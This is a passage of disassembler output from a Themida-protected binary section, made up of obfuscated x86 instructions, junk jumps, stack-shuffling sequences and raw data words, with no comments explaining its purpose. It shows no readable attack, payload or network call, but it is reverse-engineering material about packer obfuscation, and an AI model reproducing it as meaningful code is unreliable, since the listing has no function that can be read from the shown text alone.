		dd 0C4815A24h, 4, 0FF7C6DE9h, 0F9A005FFh, 0D4E9A9C7h, 89FFFFCFh
		dd 2FE468E5h, 14890000h, 402E924h
		db 2 dup(0)
word_56CBEE	dw 31ADh		; DATA XREF: Themida_:0055FD4Co
		dd 1B0368D8h, 52E90000h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CBFB:				; CODE XREF: Themida_:00566981j
		xor	edx, eax
		push	eax
		jmp	loc_571862
; ---------------------------------------------------------------------------


loc_56CC03:				; CODE XREF: Themida_:005712E6j
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
		db 0BBh, 2 dup(0)
		dd 0D3010000h, 1C8B038Bh, 23E95724h, 28FFFFCBh,	509DE9D8h
		db 2 dup(0)
word_56CC46	dw 34FFh		; DATA XREF: Themida_:0055FEA8o
		dd 2434FF24h, 0FF6CBCE9h, 9DBE56FFh, 810C92BDh,	67634EC2h
		dd 81F2296Ch, 67634EEAh, 0ED815E6Ch, 3536057Dh,	55E9D529h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56CC73:				; CODE XREF: Themida_:00568293j
		mov	eax, 2FD82560h
		xor	eax, 7B9A1340h
		jmp	loc_5712EB
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 2414F724h, 677FE9h, 81DE0100h, 2D307EC6h, 0B8505B0Fh
		dd 4, 67E9C629h, 29FFFFE0h, 64ED81CDh, 59092908h, 6984ED81h
		dd 0F5E9378Ah, 900000Bh, 0E9581C47h, 0FFFF32DFh, 9D4B43B8h
		dd 58C78907h, 9B1F781h,	0C381293Ch, 1F90346Ch, 0D6E9FB01h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CCDB:				; CODE XREF: Themida_:005670E9j
		push	ecx
		mov	ecx, 13A07F37h
		or	ebp, ecx
		pop	ecx
		neg	ebp
		not	ebp
		inc	ebp
		add	ebp, 0E45B808Dh
		jmp	loc_56695F
; ---------------------------------------------------------------------------
		dd 0ED676868h, 0E3815B3Bh, 41E20CEh, 0EBEE9h, 240C8B00h
		dd 4EC81h, 21E90000h
		db 10h,	2 dup(0)
byte_56CD13	db 0FFh			; DATA XREF: Themida_:0055FE64o
		dd 0FF042474h, 48B2434h, 0E6E8E924h, 685CFFFFh,	1248h
		dd 53240C89h, 0B7332FBBh, 5BD98918h, 0FFA401E9h, 19EA81FFh
		dd 13C5F56h, 19C281F2h,	5E3C5F56h, 8904EC83h, 74FF2414h
		dd 8F5A0424h, 4EE92404h, 0F6FFFFD6h, 0F65166DDh, 0E901245Ch
		dd 5CEAh, 0A157C02Dh, 0BC354815h, 29116564h, 654EE9C6h
		dd 0E0C1FFFFh, 0BFE7E905h, 0E95CFFFFh, 3AC0h, 8BE9015Fh
		dd 0C481242Ch, 4, 735568h, 24348900h, 2BEh, 13E98100h
		dd 0E9616B14h, 0FFFFC7D0h, 158C389h, 2434FFDAh,	4EC835Bh
		dd 0FFEF68E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CDBD:				; CODE XREF: Themida_:0056EE64j
		xor	edx, 14D22360h
		add	edx, 1
		jmp	loc_56C38F
; ---------------------------------------------------------------------------


loc_56CDCB:				; CODE XREF: Themida_:00565F7Dj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_573B6C
; ---------------------------------------------------------------------------


loc_56CDFE:				; CODE XREF: Themida_:00564A63j
		mov	[esp], edi
		mov	edi, 4
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		div	ecx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_567C45
; ---------------------------------------------------------------------------


loc_56CE1F:				; CODE XREF: Themida_:00573B6Fj
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_564A62
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2E95F24h, 89FFFF3Ch,	0A972E9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CE3A:				; CODE XREF: Themida_:0056159Fj
		pop	ebx
		add	eax, 2
		xchg	eax, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_56E928
; ---------------------------------------------------------------------------


loc_56CE4E:				; CODE XREF: Themida_:005638E7j
		mov	[esp], esi
		jmp	loc_564679
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 57Eh, 0E958E328h, 5B0Ch
; ---------------------------------------------------------------------------


loc_56CE64:				; CODE XREF: Themida_:005659DDj
		mov	esi, [esp]
		add	esp, 4


loc_56CE6D:				; CODE XREF: Themida_:00573741j
		push	24C0h
		mov	[esp], esi
		mov	esi, esp
		push	eax
		mov	eax, 34753A40h
		jmp	loc_56C133
; ---------------------------------------------------------------------------
		dw 0E828h
		dd 2434FF59h, 83241C8Bh, 895704C4h, 4C781E7h, 83000000h
		dd 3C8704C7h, 0EC815C24h, 4, 52240C89h,	7A9CE9h, 2B000h
		dd 665866C3h, 66746168h, 0B4240489h, 0F5EC8092h, 5866E328h
		dd 4EE95158h, 29FFFFE9h, 24ADE9D6h, 0BE560000h,	5C452B64h
		dd 90CEE81h, 0CE814B3Dh, 7A684BD8h, 4155F681h, 0F1314F39h
		dd 0EBE9815Eh, 29684411h, 240C8BCEh, 0FFCBA6E9h, 55E689FFh
		dd 4BDh, 5DEE0100h, 1D3ABB53h, 0EB8103DEh, 3DE1D36h, 0FEE9DE01h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56CF1B:				; CODE XREF: Themida_:0056EA5Aj
		neg	ecx
		shr	ecx, 5
		shr	ecx, 3
		xor	ecx, 25943F3Ah
		push	edi
		mov	edi, 366B6EA2h
		add	edi, 0EF0975F0h
		sub	ecx, edi
		jmp	loc_5605EC
; ---------------------------------------------------------------------------
		dd 4446C0BBh, 0B3EEE91Ah, 34FFFFFFh, 5ECF6887h,	1C890000h
		dd 12C16824h, 2C890000h, 17836824h, 23E9607Ch, 5800001Ch
		dd 4D4CBF57h, 0EFC1606Fh, 4CC5E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CF72:				; CODE XREF: Themida_:00565D86j
		pop	edx
		sub	ebx, eax
		mov	eax, [esp]
		jmp	loc_572199
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0EDh
		dd 55741940h, 516C7CBDh, 0E9DDF70Dh, 78BDh, 8B241487h
		dd 0E2E92424h, 0BEFFFF62h, 0
		dd 9FE9EE29h, 0B7FFFF90h, 721EE9E7h, 0EE01FFFFh, 81242C8Bh
		dd 4C4h, 4C68300h, 8B243487h, 54552424h, 6855515Dh, 1884647h
		dd 0C581455Dh, 0FE77B9BCh, 0C802E955h, 48FFFFFh, 89665C24h
		dd 50662414h, 2FB5E99Ch, 0E952FFFFh, 7E67h, 346068h, 241C8900h
		dd 757BB7BBh, 844DBA30h, 0DA01CF8Ah, 3B75E9h
		db 0
; ---------------------------------------------------------------------------


loc_56D009:				; CODE XREF: Themida_:00570515j
		xchg	eax, edi
		not	eax
		xchg	eax, edi
		jmp	loc_566D73
; ---------------------------------------------------------------------------


loc_56D012:				; CODE XREF: Themida_:0056B0CFj
		push	36E9h
		mov	[esp], ebx
		mov	ebx, 2B7937ECh
		push	0
		sub	[esp], ebx
		pop	ebx
		neg	ebx
		sub	ebx, 2B7937E8h
		sub	ecx, 0A8F50B6h
		add	ecx, 2B1D0051h
		add	ecx, ebx
		jmp	loc_56E66A
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5F042474h, 8B24048Fh, 525F2424h, 614B74BAh, 35BE5631h
		dd 0E9787225h, 2190h, 14EB81h, 35E96BE7h, 5FFFFADh, 4
		dd 2474FF50h, 44E6E904h, 0E189FFFFh, 4C181h, 0E9810000h
		dd 4, 5C240C87h, 0FF448DE9h, 0E9D0F7FFh, 382Fh
; ---------------------------------------------------------------------------


loc_56D098:				; CODE XREF: Themida_:0056FF74j
		sub	ebp, edx
		pop	edx
		sub	ebp, 38054438h
		add	ebp, ecx
		push	ecx
		mov	ecx, 38054438h
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_574B15
; ---------------------------------------------------------------------------
		db 55h
		dd 442FB9BDh, 5DEF2968h, 0B56BEF81h, 0FD29A069h, 0B2C5815Fh
		dd 111B861h, 0B2ED81C5h, 8111B861h, 1D6CECC5h, 24048B39h
		dd 3304C483h, 2C31242Ch, 242C3324h, 0F624248Bh,	0B60F66F1h
		dd 0E78957CCh, 4BB53h, 0DF010000h, 4EF835Bh, 8B243C87h
		dd 2C892424h, 2C8B5424h, 4C48124h, 0E9000000h, 76B0h, 0ADE9EE31h
		dd 87000006h, 248B2414h, 22B95124h, 111C904h, 0E904244Ch
		dd 0FFFFB235h, 3A55E95Fh, 0E1BDFFFFh, 811F9D43h, 154AF5EDh
		dd 0CD58E93Fh, 0D2F7FFFFh, 0FFB375E9h, 54F781FFh, 0F70CC51Bh
		dd 3F9CE9DFh, 1489FFFFh, 0ADBD5524h, 0E9536E38h, 0FFFFD228h
; ---------------------------------------------------------------------------


loc_56D170:				; CODE XREF: Themida_:005689BDj
		pop	eax
		add	al, 0BFh
		sub	al, bl
		sub	al, 0BFh
		push	dword ptr [esp]
		pop	ebx
		push	750Eh
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		push	esi
		mov	esi, 4
		add	ebp, esi
		mov	esi, [esp]
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		jmp	loc_56E826
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 4D0E9h, 56D23100h, 31A568h, 24148900h, 8953DA89h, 5BDE89D3h
		dd 0FF96C5E9h, 0CE095DFFh, 0FF9DE9E9h, 0C8BB53FFh, 434C083Bh
		dd 5D0AE381h, 0F3814482h, 2B223E06h, 0F708EBC1h, 0D2C381DBh
		dd 1B231A6h, 7592E9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D202:				; CODE XREF: Themida_:0056664Ej
		add	eax, 713620Ch
		add	eax, edi
		sub	eax, 713620Ch
		jmp	loc_567B29
; ---------------------------------------------------------------------------
		db 33h
		dd 815C2404h, 4C4h, 4C08300h, 5C240487h, 582434FFh, 4EC81h
		dd 3C890000h, 515F5424h, 0C41820B9h, 7E685022h,	0E9000002h
		dd 0FFFFDF1Bh, 0E46EA81h, 68534683h, 1BD1h, 68240489h
		dd 3A6D2BCAh, 8124048Bh, 4C4h, 7E8C100h, 624FD235h, 7AFDE97Fh
		dd 48FFFFFh, 24248B24h,	81C8B70Fh, 4ECh, 242C8900h, 0C581E589h
		dd 4, 4EC81h, 4890000h,	83BD5524h, 55466C52h, 0EB744C68h
		dd 0C5815D68h, 0DD80DE3Bh, 0D0E9E889h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D2AB:				; CODE XREF: Themida_:0057359Bj
		sub	ebx, eax
		pop	eax
		pop	edi
		sub	ebx, ebp
		add	ebx, 4F6411B7h
		push	dword ptr [esp]
		jmp	loc_56BCCC
; ---------------------------------------------------------------------------


loc_56D2BF:				; CODE XREF: Themida_:00569D98j
		or	ecx, 72960BEEh
		shr	ecx, 8
		push	0
		jmp	loc_56EADA
; ---------------------------------------------------------------------------
		dw 8153h
		dd 267D242Ch, 48B70EAh,	4C48324h, 0FFCE34E9h, 5DEB29FFh
		dd 0FF5D51E9h, 0A6E95BFFh, 5EFFFFA5h, 8B24048Fh, 0EC832424h
		dd 243C8904h, 14768h, 24248900h, 4240483h, 5F2434FFh, 5771E9h
		dd 0E97EB600h, 369Ch, 41242C81h, 8B72CF66h, 0C483240Ch
		dd 41C18104h, 5A72CF66h, 0A0BBB53h, 0FBE914B5h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D33B:				; CODE XREF: Themida_:005654A9j
		pop	eax
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		mov	edi, 4B6E02CDh
		jmp	loc_564F6C
; ---------------------------------------------------------------------------
byte_56D359	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0055FE14o
		dd offset dword_55F8CC+1Dh
		db 0
; ---------------------------------------------------------------------------


loc_56D361:				; CODE XREF: Themida_:00570443j
		push	esi
		mov	esi, 505C6FF0h
		not	esi
		push	edx
		jmp	loc_56C4F3
; ---------------------------------------------------------------------------
		db 50h
		dd 405E089h, 5000000h, 4, 5C240487h, 5C243C87h,	0E91C6F09h
		dd 28F7h, 0BD3435BBh, 6E3C162h,	2EDC68h, 7F4CE900h, 0D9010000h
		dd 0BE565A5Bh, 2, 8FE9F101h
		db 0BDh, 2 dup(0FFh)
byte_56D3AF	db 0FFh			; DATA XREF: Themida_:0055FDACo
		dd 8E92434h
		db 17h,	2 dup(0)
byte_56D3B7	db 0FFh			; DATA XREF: Themida_:0055FDCCo
		dd 83582434h, 348904ECh, 0AE0EE924h, 814DFFFFh,	733010F5h
		dd 1EC28153h, 12D615Ch,	3C81E9EAh, 0F9010000h, 240C335Fh
		dd 33240C31h, 5C240Ch, 0E99C2404h, 0FFFF2BAFh
; ---------------------------------------------------------------------------


loc_56D3F0:				; CODE XREF: Themida_:005603C5j
		pop	esp
		mov	[esp], ecx
		mov	cl, 19h
		jmp	loc_56309C
; ---------------------------------------------------------------------------
		db 1
aSK		db 'Èé%k',0
		align 2
		dw 0C483h
		dd 4C78104h, 83000000h,	0E95704C7h, 0FFFFFC2Fh
dword_56D414	dd 24048B66h, 7CE568h, 240C8900h, 0E904EC83h, 4052h
					; DATA XREF: Themida_:0055FF24o
; ---------------------------------------------------------------------------


loc_56D428:				; CODE XREF: Themida_:00568809j
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	7BE7h
		mov	[esp], ebp
		push	edi
		mov	edi, 3FA22636h
		shl	edi, 3
		shl	edi, 4
		jmp	loc_571FBD
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0B8240489h, 4, 0FF69FBE9h
		db 0FFh
byte_56D455	db 66h,	0Fh, 0B6h	; DATA XREF: Themida_:0055FF0Co
		dd 4EC8102h, 0E9000000h, 0FFFF85B1h
dword_56D464	dd 4EC81h, 20E90000h, 8BFFFF34h, 0C4832434h, 4C48304h
					; DATA XREF: Themida_:0055FCE0o
		dd 271EE12Dh, 0A8E4E96Ah, 0C181FFFFh, 9D83F363h, 0C159CE21h
		dd 835503EEh, 348904ECh, 6BBDBE24h, 46464D60h, 2FC3B850h
		dd 0C631337Dh, 8324048Bh, 815604C4h, 10B2434h, 0E95D30E9h
		dd 0FFFF4A67h, 4BD55h, 0EE010000h, 81242C8Bh, 4C4h, 24348700h
		dd 55E9815Ch, 417DBB36h, 28268h, 242C8900h, 145640BDh
		dd 5DE92150h, 0A15CE957h, 0DFF7FFFFh, 44B4E9h, 65CA3500h
		dd 2EE94CA6h, 51000068h, 3E9E189h, 59FFFF90h, 5704C783h
		dd 0FFA00FE9h, 0F3EA81FFh, 89ABB2D2h, 53575AD5h, 0EC4E62BBh
		dd 9E95255h, 89000060h,	0DDBE2434h, 8135B243h, 8B7DE3E6h
		dd 3E6C160h, 0EED1DEF7h, 6344EE81h, 0C6811588h,	16D46F13h
		dd 0E95EF309h, 0FFFFDE00h, 0E9243433h, 0FFFF86CEh
; ---------------------------------------------------------------------------


loc_56D554:				; CODE XREF: Themida_:00561BC0j
		add	ebx, ebp
		jmp	loc_565D36
; ---------------------------------------------------------------------------
		db 47h
		dd 4937B850h, 0C7093DA6h, 0EB16E958h, 4429FFFFh, 6D680424h
		dd 8900000Ah, 0BF57242Ch, 548047F4h, 15FFD89h, 5D08246Ch
		dd 648E9h, 74BB5300h, 0E9147640h, 4133h, 5304C483h, 42474FFh
		dd 24048F5Bh, 5B43E9h, 6B95100h, 815F0A36h, 0A3602E9h
		dd 2CECE95Fh, 48BFFFFh,	4C48324h, 2C381h, 0CFE90000h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D5C7:				; CODE XREF: Themida_:00564607j
		pop	edi
		jmp	loc_56BBB3
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0FEh
		dd 89000000h, 77215FFEh, 2434FF1Ch, 5E2434FFh, 0E29BE957h
		dd 1489FFFFh, 53555024h, 0A27181BBh, 0C42BBD49h, 0DD29A9EEh
		dd 0C516E95Bh, 4FFFFFFh, 52D8E924h, 0C4830000h,	0FC90B04h
		dd 0FF834384h, 5E5456FFh, 4C681h, 0C6E90000h, 1000066h
		dd 3CC181D9h, 6859BE03h, 7348h,	0E9243C89h, 0FFFF62E3h
; ---------------------------------------------------------------------------


loc_56D634:				; CODE XREF: Themida_:0056AA26j
		and	edi, 539865F4h
		sub	edi, 0F20C1855h
		xor	eax, edi
		jmp	loc_5677A6
; ---------------------------------------------------------------------------
		db 81h
		dd 0D93622C7h, 241C8B53h, 6804C483h, 5C00h, 52243489h
		dd 0FC6AD368h, 0CA815A32h, 0F0543BBh, 0CA81D2F7h, 0A48390Dh
		dd 5C31C281h, 0D689544Bh, 4EC815Ah, 89000000h, 0BF57240Ch
		dd 21B154C3h, 0FFF0D2E9h, 405FFh, 0E8830000h, 24048704h
		dd 13C2E9h
		db 0
byte_56D69D	db 0ADh, 83h, 0ECh	; DATA XREF: Themida_:0055FD24o
		dd 24148904h, 227350BAh, 33152D15h, 0D0296D89h,	89331505h
		dd 65055A6Dh, 29126F74h, 74652DD8h, 5C68126Fh, 89000010h
		dd 50BF243Ch, 68152273h, 1AE7h,	52242C89h, 515DE9h, 0FB85000h
		dd 0D73C87Dh, 3C440D48h, 0FFA2B2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D6ED:				; CODE XREF: Themida_:0056F58Cj
		add	esp, 4
		sub	edx, 0F7A28A87h
		mov	edi, edx
		pop	edx
		jmp	loc_56E988
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 0E7895751h, 4C781h, 0EF830000h, 243C3304h, 33243C31h
		dd 0E95C243Ch, 0FFFFA3DBh, 8104EDC1h, 1A090AC5h, 5DEA01D2h
		dd 3577EF81h, 0D72966F6h, 3577C781h, 0E95A66F6h, 0FFFF4299h
		dd 5A24FDBFh, 247C012Ah, 4C015F08h, 0B9510424h,	2A5A24FDh
		dd 0FF6657E9h, 4C781FFh, 53000000h, 4BBh, 0E9DF0100h, 43F9h
; ---------------------------------------------------------------------------


loc_56D76C:				; CODE XREF: Themida_:00564360j
		push	esi
		mov	esi, 6BFD00F2h
		jmp	loc_5721CD
; ---------------------------------------------------------------------------


loc_56D777:				; CODE XREF: Themida_:0056B331j
		pop	edx
		add	edx, 4
		jmp	loc_5644A2
; ---------------------------------------------------------------------------
		db 0BDh
		dd 0C7236CFh, 6BD4E9h, 0BA525900h, 10B4039h, 552DF281h
		dd 0EC812A7Ch, 4, 0BB241C89h, 50107BA3h, 1C8BDA21h, 4C48124h
		dd 0E9000000h, 4639h, 6568h, 243C8900h,	180DE9h
		db 0
; ---------------------------------------------------------------------------


loc_56D7C5:				; CODE XREF: Themida_:00566CD1j
		pop	dword ptr [edx+38h]
		mov	ebx, [esp]
		jmp	loc_56594E
; ---------------------------------------------------------------------------
		dd 8BF5895Dh, 0C4832434h, 2B95104h, 0F74CC131h,	0DDBBE9D1h
		dd 0E953FFFFh, 5B1Bh
; ---------------------------------------------------------------------------


loc_56D7EC:				; CODE XREF: Themida_:005668BFj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_573337
; ---------------------------------------------------------------------------
		db 1
		dd 0C2C781CFh, 596CFE34h, 3B6FBE56h, 0C68172C1h, 3CA85FDEh
		dd 0E906EEC1h, 0FFFFE1C6h, 83241C8Bh, 4AE904C4h, 68000005h
		dd 3772h, 0FFC0CFE9h, 24048FFFh, 150AE9h, 49E95200h, 81000025h
		dd 15688ECBh, 43DBF718h, 0A4F0C381h, 0E3C1551Eh, 3EBC106h
		dd 2A19E9h
		db 0
byte_56D855	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055FE44o
		dd 31E95024h, 68FFFF3Ch, 0BBFh,	0B3241C89h, 8BD830BBh
		dd 0C483241Ch, 0A5EEE904h, 8B54FFFFh, 0C481243Ch, 4, 0FF6362E9h
		dd 0FFFB29FFh, 565F2434h, 0E9E689h
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D893:				; CODE XREF: Themida_:00564238j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------


loc_56D89C:				; CODE XREF: Themida_:00560EBDj
		shl	ecx, 3
		sub	ecx, 87C6E63h
		neg	ecx
		jmp	loc_574AD6
; ---------------------------------------------------------------------------
		dd 0EC81D5F7h, 4, 0E9241489h, 16F4h, 804AED80h,	0DD28B6C5h
		dd 80B6ED80h, 0E95B4AC5h, 2A44h
; ---------------------------------------------------------------------------


loc_56D8D0:				; CODE XREF: Themida_:00562558j
		and	edi, 10937BBCh
		sub	edi, 0D28D1EF3h
		or	edx, edi
		mov	edi, [esp]
		add	esp, 4
		inc	edx
		add	edx, 80A0A144h
		add	ebx, edx
		pop	edx
		push	edi
		jmp	loc_560912
; ---------------------------------------------------------------------------


loc_56D8F4:				; CODE XREF: Themida_:00572A81j
		pop	esp
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------


loc_56D8FE:				; CODE XREF: Themida_:005745BCj
		mov	eax, 7569652Eh
		push	ecx
		mov	ecx, 16E73C9Ah
		push	0
		sub	[esp], ecx
		pop	ecx
		neg	ecx
		shr	ecx, 6
		or	ecx, 358A3734h
		add	ecx, 0DDF3BA71h
		add	eax, ecx
		pop	ecx
		shr	eax, 2
		jmp	loc_564702
; ---------------------------------------------------------------------------
		dw 481h
		dd 58508D24h, 0ED815D1Bh, 1B58508Dh, 83241C8Bh,	0BA5204C4h
		dd 30323AA9h, 148BD629h, 4C48124h, 0E9000000h, 0FFFF2E60h
		dd 81E18951h, 4C1h, 4C18100h, 87000000h, 805C240Ch, 8FE91CEDh
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D973:				; CODE XREF: Themida_:0056F963j
		mov	[esp], esi
		push	21821155h
		pop	esi
		xor	esi, 641C5CCCh
		jmp	loc_570693
; ---------------------------------------------------------------------------


loc_56D987:				; CODE XREF: Themida_:0056DB88j
		xor	edi, eax
		xor	eax, edi
		push	681Ch
		mov	[esp], ebx
		mov	ebx, 66C870AAh
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	4164h
		jmp	loc_56C458
; ---------------------------------------------------------------------------
		dw 2C81h
		dd 7A253324h, 242C2977h, 2533BB53h, 5C01777Ah, 0EDE90424h
		dd 1FFFF27h, 4C86E9CBh,	81590000h, 73277FEBh, 0FDC38144h
		dd 81737B06h, 890A8CEBh, 81C3017Dh, 890A8CC3h, 0FDEB817Dh
		dd 81737B06h, 73277FC3h, 0EEB8144h, 0E948FA11h,	4971h
; ---------------------------------------------------------------------------


loc_56D9FC:				; CODE XREF: Themida_:00567430j
		mov	edx, esp
		add	edx, 4
		jmp	loc_56FDBF
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 722776FCh, 0FF258AE9h, 0E9DE87FFh, 0FFFF3601h, 95AD629h
		dd 32E95EF1h, 29000040h, 40C68E9h, 14890000h, 2757E924h
		dd 0BD550000h, 68873CA9h, 97E9DDF7h, 81FFFFC1h,	4ECh, 242C8900h
		dd 0B6BF5751h, 0C10A5255h, 0CF8102E7h, 7ED547A9h, 0C781DFF7h
		dd 9D40BD51h, 3C8BF989h, 4C48324h, 2CE9D1F7h, 8B000025h
		dd 1662424h, 0E99C2404h, 0FFFF251Fh, 57240489h,	4BFh, 5F585700h
		dd 3358C101h, 5E9240Ch,	5AFFFF41h, 0FFCBD1E9h, 58C101FFh
		dd 5C240C87h, 0FFBBC7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DAA9:				; CODE XREF: Themida_:0056C7ECj
		mov	[esp], edx
		push	ebp
		jmp	loc_56F22B
; ---------------------------------------------------------------------------
		dw 8155h
		dd 4ECh, 243C8900h, 57244FBFh, 0E9FD8937h, 773Dh, 0EC810F2Ch
		dd 4, 0B3241C89h, 2EC8318h, 24148966h, 8804B353h, 0D3005BDAh
		dd 24148B66h, 0E902C483h, 0FFFF7DB3h
; ---------------------------------------------------------------------------


loc_56DAF0:				; CODE XREF: Themida_:005670F3j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_571CC7
; ---------------------------------------------------------------------------
		dw 0CA81h
		dd 316D0658h, 0E6F2814Ah, 81463943h, 446CBFF2h,	0B74EE97Fh
		dd 0E981FFFFh, 0F3C52C3Ah, 8159CA89h, 831AC8CAh, 0A9B6E91Ch
		dd 0C89FFFFh, 81E18924h, 4C1h, 4C18100h, 87000000h, 248B240Ch
		dd 63956824h, 0C890000h, 3066824h, 0D2E90000h, 88FFFF68h
		dd 8BF488EEh, 89572414h, 0D396E9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DB7E:				; CODE XREF: Themida_:0056F50Aj
		add	eax, 571C772Ah
		xchg	eax, edi
		not	edi
		xor	eax, edi
		jmp	loc_56D987
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 6624248Bh, 5024048Bh, 0FFF619E9h, 708568FFh,	14890000h
		dd 7FBF5724h, 0E90D0051h, 0FFFF5CE7h, 0D54EBD55h, 0E931D61Dh
		dd 8BCA015Dh, 0F4E9240Ch, 81FFFF39h, 89556EF3h,	5BD88958h
		dd 39C6E9h, 4EC8300h, 0B8240489h, 68A60D4h, 8244401h, 0FFDA5FE9h
		dd 24D35CFFh, 0B0E99C24h
		db 23h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DBEF:				; CODE XREF: Themida_:00568C70j
		push	eax
		push	ebx
		mov	ebx, 44485FFBh
		mov	eax, ebx
		pop	ebx
		xor	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	6A7Bh
		mov	[esp], esi
		mov	esi, 658E587Ch
		not	esi
		jmp	loc_567806
; ---------------------------------------------------------------------------
		db 83h,	0C0h, 4
		dd 0E9240433h, 0FFFFECC1h, 37E98DB1h, 81FFFF34h, 2C4019E9h
		dd 81C10119h, 2C4019C1h, 1C18119h, 0E964EF57h, 0FFFF73C0h
; ---------------------------------------------------------------------------


loc_56DC40:				; CODE XREF: Themida_:00569016j
		add	ecx, 0AFE81DD8h
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		push	esi
		jmp	loc_56C208
; ---------------------------------------------------------------------------


loc_56DC53:				; CODE XREF: Themida_:00566266j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5625EE
; ---------------------------------------------------------------------------
		dd 0C1DBF743h, 0BA5204EBh, 950ECA1Eh, 0FF7984E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DC75:				; CODE XREF: Themida_:00574B1Cj
		pop	edi
		pop	ecx
		push	ecx
		mov	ecx, 4
		add	ebp, 49A66314h
		sub	ebp, ecx
		sub	ebp, 49A66314h
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 80h
		and	ecx, ebx
		push	dword ptr [esp]
		jmp	loc_560074
; ---------------------------------------------------------------------------


loc_56DCA2:				; CODE XREF: Themida_:00565F6Aj
		push	59D24C86h
		pop	edx
		jmp	loc_56331C
; ---------------------------------------------------------------------------
		db 81h,	0CEh, 4Eh
		dd 81150624h, 0CA501CF6h, 72C0E93Dh, 7401FFFFh,	8B5E0424h
		dd 0C481242Ch, 4, 292968h, 243C8900h, 0F06E950h, 34FF0000h
		dd 0C4835B24h, 3EEC6804h, 2C890000h, 6224BD24h,	10E927F1h
		dd 81FFFF81h, 4C7h, 4EF8100h, 87000000h, 248B243Ch, 5871E924h
		dd 0C483FFFFh, 8E5C104h, 0B5CF581h, 58E93767h, 68000052h
		dd 41491402h, 3FB9515Dh, 812DAF1Ah, 0B7F141C1h,	0E9CD29F3h
		dd 6336h, 89242C89h, 535753E5h,	0D85C7BBBh, 5BDF8929h
		dd 27A389BBh, 0B3EB81D6h, 0E9425402h, 0FFFF8D20h, 5BC9BD55h
		dd 0ACE91B3Dh, 0F7000016h, 0F68196D0h, 75C30254h, 0FFFCA8E9h
		dd 98E958FFh, 89000045h, 0E78957E0h, 4C781h, 0E5E90000h
		dd 8000001Bh, 0C18006F1h, 5DE98025h, 0E959CA88h, 2ABh
		dd 8124048Bh, 4C4h, 6FE95300h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DDA3:				; CODE XREF: Themida_:00567CE3j
		xor	ecx, 64C72987h
		jmp	loc_570865
; ---------------------------------------------------------------------------


loc_56DDAE:				; CODE XREF: Themida_:00563C7Aj
		add	ecx, edx
		add	ecx, 6C272A13h
		pop	edx
